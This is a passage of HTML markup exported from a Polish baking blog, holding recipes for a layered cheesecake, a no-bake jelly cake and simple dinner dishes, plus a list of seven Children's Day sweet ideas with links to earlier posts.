<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1,5 szklanki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3/4 szklanki oleju</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 opakowanie budyniu śmietankowego</span></li>
</ul>
<br />
<div class="separator" style="clear: both;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">na masę budyniową:</span></div>
<div class="separator" style="clear: both;">
</div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 litr soku marchewkowego z brzoskwinią</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 opakowania budyniu waniliowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3/4 kostki masła</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">4 żółtka (pozostałe z bezy)</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki mąki pszennej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka mąki ziemniaczanej</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na bitą śmietanę;</span></div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">300 ml śmietanki kremówki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki cukru pudru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 opakowanie śmietan-fixu</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na bezę:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">4 białka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka soku z cytryny</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka mąki ziemniaczanej</span></li>
</ul>
</div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Najpierw przygotować sernik. Jajka podzielić na białka i żółtka. Białka ubić na pianę. Żółtka utrzeć z cukrem, dodać ser, olej, budynie. Na końcu delikatnie wmieszać pianę. Foremkę do pieczenia wyścielić wysoko pergaminem i wylać masę serową. Blachę z ciastem wstawić do piekarnika nagrzanego do 150*C, włączyć funkcję pary (jeśli nie mamy to na dnie ustawić miseczkę z wodą) i piec około półtorej godziny. Po upieczeniu wystudzić w otwartym piekarniku. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przygotować bezę: białka ubić na sztywno najpierw same a następnie dosypywać cukier. Na końcu dodać sok z cytryny i mąkę ziemniaczaną. Papier do pieczenia uciąć na wymiar blaszki i wyłożyć pianę. Wstawić do piekarnika nagrzanego do 180*C i piec przez 5 minut. Następnie zmniejszyć grzanie do 100*C i suszyć półtorej godziny. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">W szklance soku rozrobić budynie, mąki, żółtka i cukier. Resztę soku zagotować, wlać rozrobione budynie i ugotować. Kiedy zgęstnieje dodać masło i na wolnym ogniu mieszać aż budyń całkowicie je wchłonie. Gorącą masę od razu wyłożyć na sernik i odstawić aż całkowicie wystygnie. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Kremówkę ubić na sztywno z cukrem pudrem i fixem. Wyłożyć na budyń, wierzch przykryć bezą. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przechowywać w lodówce w zamkniętym pojemniku. </span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-3TJqI_6ulRE/XOv1AvdoljI/AAAAAAAAN6U/KJd7KScPYngZiH4Y0T2998m6LzXDH6W9gCLcBGAs/s1600/sernik%2Bwitaminka%2B2%2Bpopd.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-3TJqI_6ulRE/XOv1AvdoljI/AAAAAAAAN6U/KJd7KScPYngZiH4Y0T2998m6LzXDH6W9gCLcBGAs/s640/sernik%2Bwitaminka%2B2%2Bpopd.jpg" width="640" /></a></div>
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com2tag:blogger.com,1999:blog-6618786850056883492.post-7635203651590790972019-05-27T13:18:00.002+02:002019-05-27T13:19:35.421+02:007 słodkich pomysłów na Dzień Dziecka <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Ym3DS6VWP3c/XOvHabbNJlI/AAAAAAAAN6E/vWv1fMAeP3UGBJ4nfLEkOdD8tsOcoMCIACLcBGAs/s1600/FB_IMG_1558952535522.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="506" data-original-width="720" height="448" src="https://1.bp.blogspot.com/-Ym3DS6VWP3c/XOvHabbNJlI/AAAAAAAAN6E/vWv1fMAeP3UGBJ4nfLEkOdD8tsOcoMCIACLcBGAs/s640/FB_IMG_1558952535522.jpg" width="640" /></a></div>
<br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Dzień Dziecka to moment, na który (oprócz urodzin) dzieciaki czekają cały rok. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Moje dziewczyny ciągle wspominają małe ogrodowe party, które dla nich przygotowałam. Wbrew pozorom to nie tylko prezenty są w tym dniu dla nich najważniejsze ale czas i nasza zabawa z nimi. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Wystarczy mały stolik, trochę słodyczy, owoców i dzieciaki ciesza się na maxa!</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Dlatego przygotowałam dla Was wpis, w którym zawarłam 7 najciekawszych przepisów na słodkości na tę specjalną okazję. Na blogu znajdziecie dużo fajnych inspiracji ale poniżej krótka ściąga, żeby nie trzeba było szukać. </span><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><a href="https://1.bp.blogspot.com/-SNgqyLgYnvI/XOuwfbGmA8I/AAAAAAAAN40/0atjESKVsVInTyJerFH3YJeOZlYINP4kQCLcBGAs/s1600/szybka%2Bkrem%25C3%25B3wka%2Bpoziom.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://1.bp.blogspot.com/-SNgqyLgYnvI/XOuwfbGmA8I/AAAAAAAAN40/0atjESKVsVInTyJerFH3YJeOZlYINP4kQCLcBGAs/s200/szybka%2Bkrem%25C3%25B3wka%2Bpoziom.jpg" width="200" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">1. Szybka kremówka- ciasto do zrobienia w 10 minut! Ciastka przełożone budyniem i polane lukrem z cukierkową posypką. Banalnie proste ale właśnie przez to przypadnie do gustu nawet wybrednym maluchom. Moje dzieciaki uwielbiają. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="http://cukierenkaklementynki.blogspot.com/2018/11/szybka-kremowka-ciasto-w-10-minut.html" target="_blank">kremówka (klik)</a> </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-sEoAM7CBbjE/XOuxwT7m3YI/AAAAAAAAN5A/idBKqJxT9wkwmUOnXOmdgs1U2mvL3q67QCLcBGAs/s1600/cieple%2Blody%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://1.bp.blogspot.com/-sEoAM7CBbjE/XOuxwT7m3YI/AAAAAAAAN5A/idBKqJxT9wkwmUOnXOmdgs1U2mvL3q67QCLcBGAs/s200/cieple%2Blody%2Bpodp.jpg" width="150" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">2. Ciepłe lody- kto będąc dzieckiem ich nie uwielbiał? My za nimi wprost przepadaliśmy ale niestety nie jedliśmy ich na co dzień. Kiedy jednak mama nam je kupowała to było prawdziwe święto. W małych sklepikach można je kupić do dziś ale bardzo łatwo jest je zrobić w domu i wychodzą nawet smaczniejsze. Lepszej okazji niż Dzień Dziecka nie będzie!</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj - <a href="http://cukierenkaklementynki.blogspot.com/2017/06/ciepe-lody-z-kolorowa-posypka.html" target="_blank">ciepłe lody (klik)</a></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-nriQ9jZC3RM/XOuzGTDj12I/AAAAAAAAN5M/h-uI2DS5zTMsVytMWmmQtMMjjk6rOEM4gCLcBGAs/s1600/szaszlyki%2Bz%2Bpiankami.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://1.bp.blogspot.com/-nriQ9jZC3RM/XOuzGTDj12I/AAAAAAAAN5M/h-uI2DS5zTMsVytMWmmQtMMjjk6rOEM4gCLcBGAs/s200/szaszlyki%2Bz%2Bpiankami.jpg" width="150" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">3. Szaszłyki owocowe z piankami marshmallow - bez nich nie obejdą się u nas żadne dziecięce urodziny! To na nie dzieciaki rzucają się jako pierwsze. Wiele osób uważa pianki za samo zło (faktycznie sam cukier) ale w tym wypadku owoce robią za zdrowy element więc raz na jakiś czas można przymknąć na to oko;)</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="http://cukierenkaklementynki.blogspot.com/2017/07/szaszyki-z-piankami.html" target="_blank">szaszłyki z piankami - (klik)</a></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-JZbM66sgA4M/XOuz4DUwUTI/AAAAAAAAN5U/JgkR7FkeP50wgbKACREBc0GlEqx--7yVwCLcBGAs/s1600/domowe%2Blizaki%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://1.bp.blogspot.com/-JZbM66sgA4M/XOuz4DUwUTI/AAAAAAAAN5U/JgkR7FkeP50wgbKACREBc0GlEqx--7yVwCLcBGAs/s200/domowe%2Blizaki%2Bpodp.jpg" width="150" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">4. Domowe lizaki - lizaki nikomu nie dziwne ale ale.... takie domowe to zupełnie inna inszość:) </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Te smakują tak, jak popularne kiedyś odpustowe "koguciki na patyku". Choćby dla przypomnienia sobie tego smaku naszego dzieciństwa warto je zrobić. A łodzi niech przy okazji zobaczą, jakie słodycze jedli ich rodzice. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="https://cukierenkaklementynki.blogspot.com/2019/02/domowe-lizaki.html" target="_blank">domowe lizaki (klik)</a></span><br />
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-U4NJnRRCmoI/XOu0_1G0j1I/AAAAAAAAN5g/2CtEF7XwlowRI37WmlZloX946BhIHh0IwCLcBGAs/s1600/kolaz%2Bdinotort.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="1049" data-original-width="1600" height="129" src="https://1.bp.blogspot.com/-U4NJnRRCmoI/XOu0_1G0j1I/AAAAAAAAN5g/2CtEF7XwlowRI37WmlZloX946BhIHh0IwCLcBGAs/s200/kolaz%2Bdinotort.jpg" width="200" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">5. Tort tęczowy- niekwestionowany król imprezy! bez tortu nie może obejść się także Dzień Dziecka!</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"> Ten zrobiłam w ubiegły roku dla moich dziewczyn i aż piszczały z zachwytu. Nie dojść, że na wierzchu były ich ulubione dinozaury, to po przekrojeniu pokazała się tęcza:) Nie powiem, to akurat wymaga sporo czasu ale efekt jest tego wart. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="https://cukierenkaklementynki.blogspot.com/2019/02/domowe-lizaki.html" target="_blank">tęczowy dinotort (klik)</a></span><br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-l4gNQ_H7DQU/XOu2OS3pSTI/AAAAAAAAN5s/87lXZcuYXh4VUOCQ05YcHkj7luB5SnoxgCLcBGAs/s1600/torvik%2Bdzien%2Bdziecka%2B2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="150" src="https://1.bp.blogspot.com/-l4gNQ_H7DQU/XOu2OS3pSTI/AAAAAAAAN5s/87lXZcuYXh4VUOCQ05YcHkj7luB5SnoxgCLcBGAs/s200/torvik%2Bdzien%2Bdziecka%2B2.jpg" width="200" /></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-l4gNQ_H7DQU/XOu2OS3pSTI/AAAAAAAAN5s/87lXZcuYXh4VUOCQ05YcHkj7luB5SnoxgCLcBGAs/s1600/torvik%2Bdzien%2Bdziecka%2B2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">6. Tort z lentilkami - opcja dla osób mających mniej czasu. Z tym tortem pójdzie szybciej ale będzie nie mniej smaczny. Obowiązkowy element kolorów spełniają rozsypane na wierzchu cukierki więc dzieciakom na pewno się spodoba. Zresztą, który maluch oparłby się lentilkom?</span></div>
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="http://cukierenkaklementynki.blogspot.com/2017/07/kolorowy-torcik-z-lentilkami.html" target="_blank">kolorowy tort z lentilkami (klik)</a></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif; margin-left: 1em; margin-right: 1em;"><a href="https://1.bp.blogspot.com/-Cl5-vd8E9rI/XOu3RLhHuWI/AAAAAAAAN54/e38hYjrosc08odY_wyM5jph23a_yN7BaQCLcBGAs/s1600/babeczki%2Bhello%2Bkitty%2B%2B44.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1326" height="200" src="https://1.bp.blogspot.com/-Cl5-vd8E9rI/XOu3RLhHuWI/AAAAAAAAN54/e38hYjrosc08odY_wyM5jph23a_yN7BaQCLcBGAs/s200/babeczki%2Bhello%2Bkitty%2B%2B44.jpg" width="165" /></a></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">7. Babeczki z bitą śmietaną - w tym wpisie nie mogło zabraknąć babeczek. Moje dziewczyny kochają je pod każdą postacią- i na sucho i te bogatsze z kremem i dżemem. Babeczki zastępują nawet tort na przedszkolnych urodzinach. Można je dowolnie udekorować, wsadzić w kolorowe bajkowe papilotki i mimo że proste, robią wrażenie małych łasuchów. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przepis tutaj- <a href="https://cukierenkaklementynki.blogspot.com/2015/05/babeczki-z-hello-kitty.html" target="_blank">babeczki (klik)</a></span>Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-14613569778169895752019-05-25T00:00:00.000+02:002019-05-25T00:00:07.930+02:00ciasto na zimno z galaretką i ptasim mleczkiem <div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-lgZ-iNvaBgE/Wu07q4NseqI/AAAAAAAAM_M/qWsCr4EemREOXrFGiw4DHHhK1yUO5C7ggCLcBGAs/s1600/ciasto%2Bna%2Bzimno%2Bpodp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://2.bp.blogspot.com/-lgZ-iNvaBgE/Wu07q4NseqI/AAAAAAAAM_M/qWsCr4EemREOXrFGiw4DHHhK1yUO5C7ggCLcBGAs/s640/ciasto%2Bna%2Bzimno%2Bpodp.jpg" width="480" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Kolorowe lekkie ciasta zawsze są chętnie zjadane podczas letnich przyjęć w ogrodzie. U nas cieszą się szczególnym powodzeniem u dzieci, które za galaretkami wręcz przepadają. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Do tego ciasta można użyć dowolnych kolorów galaretek i dowolnych owoców jakie tylko lubicie. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Ja galaretką zalałam banany, ananasy i <a href="https://www.ceneo.pl/26558784#crid=263744&pid=19865" target="_blank">ptasie mleczko ( zobaczcie nowe smaki -klik). </a></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Ciasto to nie wymaga pieczenia, robi się dość szybko a przechowywane w lodówce jest długo świeże (oczywiście trzeba zwracać uwagę na owoce, które pierwsze mogą się popsuć). </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Myślę, że do letniej kawki na tarasie będzie jak znalazł, zwłaszcza w upalny dzień.</span><br />
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">*foremka 23*23 cm</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">duża paczka maślanych herbatników </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">500 ml mleka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">5 łyżek żelatyny</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">5 jajek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">250 g masła</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki kakao</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 opakowania galaretki truskawkowej</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 opakowanie galaretki porzeczkowej <a href="https://www.ceneo.pl/15168071#crid=263752&pid=19865" target="_blank">(takiej)</a></span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 banany</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">kilka plastrów ananasa z puszki</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">kilka kostek ptasiego mleczka w galaretce </span></li>
</ul>
<span style="font-family: Arial, Helvetica, sans-serif;">Galaretki truskawkowe rozpuścić w pół litra wrzątku. Galaretkę porzeczkową w pół szklanki wrzątku. Wystudzić. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Miękkie
masło utrzeć z cukrem i żółtkami. Mleko zagotować, zdjąć z ognia,
rozpuścić w nim żelatynę i przestudzić. Dodać do masy z masła i
zmiksować dokładnie. Białka ubić na sztywną pianę i wymieszać z
pozostałą masą. Podzielić ją na połowę i do jednej części dodać kakao, do drugiej wystudzoną porzeczkową galaretkę. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-family: Arial, Helvetica, sans-serif;">Foremkę wyścielić wysoko papierem do pieczenia. Na dnie ułożyć herbatniki. Wylać na nie masę z galaretką. Przykryć kolejną warstwą herbatników i wyłożyć masę kakaową. Na nią położyć pokrojone ptasie mleczko, banana i ananasa. Zalać tężejącą truskawkową galaretką. Wstawić do lodówki. </span></span><br />
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-36314671201420471372019-05-24T12:48:00.002+02:002019-05-24T12:48:39.256+02:00Jak zaskoczyć swoich bliskich? Niebanalną kolacją!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ufCXEoN5C20/XOfL6ibjj9I/AAAAAAAAN4Q/81wPnpJspnoy3jJiOB2_9pfF6edxrBj3wCLcBGAs/s1600/becca-tapert-1561345-unsplash%2B%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://1.bp.blogspot.com/-ufCXEoN5C20/XOfL6ibjj9I/AAAAAAAAN4Q/81wPnpJspnoy3jJiOB2_9pfF6edxrBj3wCLcBGAs/s640/becca-tapert-1561345-unsplash%2B%25281%2529.jpg" width="640" /></a></div>
<br />
<span style="background-color: white; color: #2b2c32; font-size: 18.2px; letter-spacing: -0.14px;"><span style="font-family: Arial, Helvetica, sans-serif;">Przygotuj wyśmienitą kolację dla swoich najbliższych! Przygotuj coś innego niż zawsze i zaskocz ich nowymi aromatami i smakami. To proste!</span></span><br />
<span style="background-color: white; color: #2b2c32; font-size: 18.2px; letter-spacing: -0.14px;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Kolacja to ten posiłek, na który najczęściej przygotowujemy kanapki. Jednak tak naprawdę do dyspozycji mamy o wiele więcej przepisów, które doskonale nadają się na pyszne zakończenie dnia w towarzystwie najbliższych.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Jeśli także szukasz przepisów na kolację, którymi możesz zaskoczyć najbliższych, sprawdź nasze propozycje, które przygotowaliśmy wraz z serwisem kulinarnym <a href="https://najlepszewkuchni.pl/" style="background-color: transparent; box-sizing: border-box; color: #bf103c; outline: 0px !important; text-decoration-line: none;"><span style="box-sizing: border-box; font-weight: 600;">Najlepszewkuchni.pl</span></a>!</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<h2 style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 2rem; letter-spacing: -0.14px; line-height: 1.2; margin-bottom: 1rem; margin-top: 1rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Czerwone papryki zapiekane z serem i boczkiem:</span></h2>
<ul style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 1rem; margin-top: 0px;">
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">3 papryki czerwone o podłużnym kształcie</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">12 cienkich plastrów boczku</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">ok. 200 gramów sera tartego – mozzarella albo żółty</span></li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Piekarnik rozgrzewamy do temperatury 170 stopni. Papryki myjemy, osuszamy i kroimy wzdłuż na połowę. Boczek kroimy na mniejsze kawałki, lekko podsmażamy na rozgrzanej patelni. Do połówek papryki wkładamy usmażony boczek i posypujemy tartym serem. Papryki układamy na blaszce i umieszczamy w piekarniku na około 30 minut.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<h2 style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 2rem; letter-spacing: -0.14px; line-height: 1.2; margin-bottom: 1rem; margin-top: 1rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Sałatka z gotowanym jajkiem, brokułem i śmietanką:</span></h2>
<ul style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 1rem; margin-top: 0px;">
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">1 brokuł</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">4 jajka</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">czerwona cebula</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">garść orzechów włoskich</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">4 kromki pieczywa</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">3 łyżki śmietanki 12%</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">1 łyżka musztardy stołowej</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">1 łyżka soku z cytryny</span></li>
<li style="box-sizing: border-box;"><span style="font-family: Arial, Helvetica, sans-serif;">sól i pieprz</span></li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Jajka gotujemy na twardo. Osobno gotujemy brokuły przez około 7-9 minut. Z pieczywa przygotowujemy grzanki. Kroimy je w kostkę i smażymy na niewielkiej ilości oliwy. Po ugotowaniu jajka obieramy i kroimy na ćwiartki. Brokuł rozdzielamy na mniejsze różyczki. Cebulę kroimy na cienkie piórka. Siekamy orzechy. Wszystkie składniki łączymy. Przygotowujemy dressing ze śmietanki, musztardy, soku z cytryny, pieprzu i soli. Taki dressing dodajemy do sałatki.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<br /></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
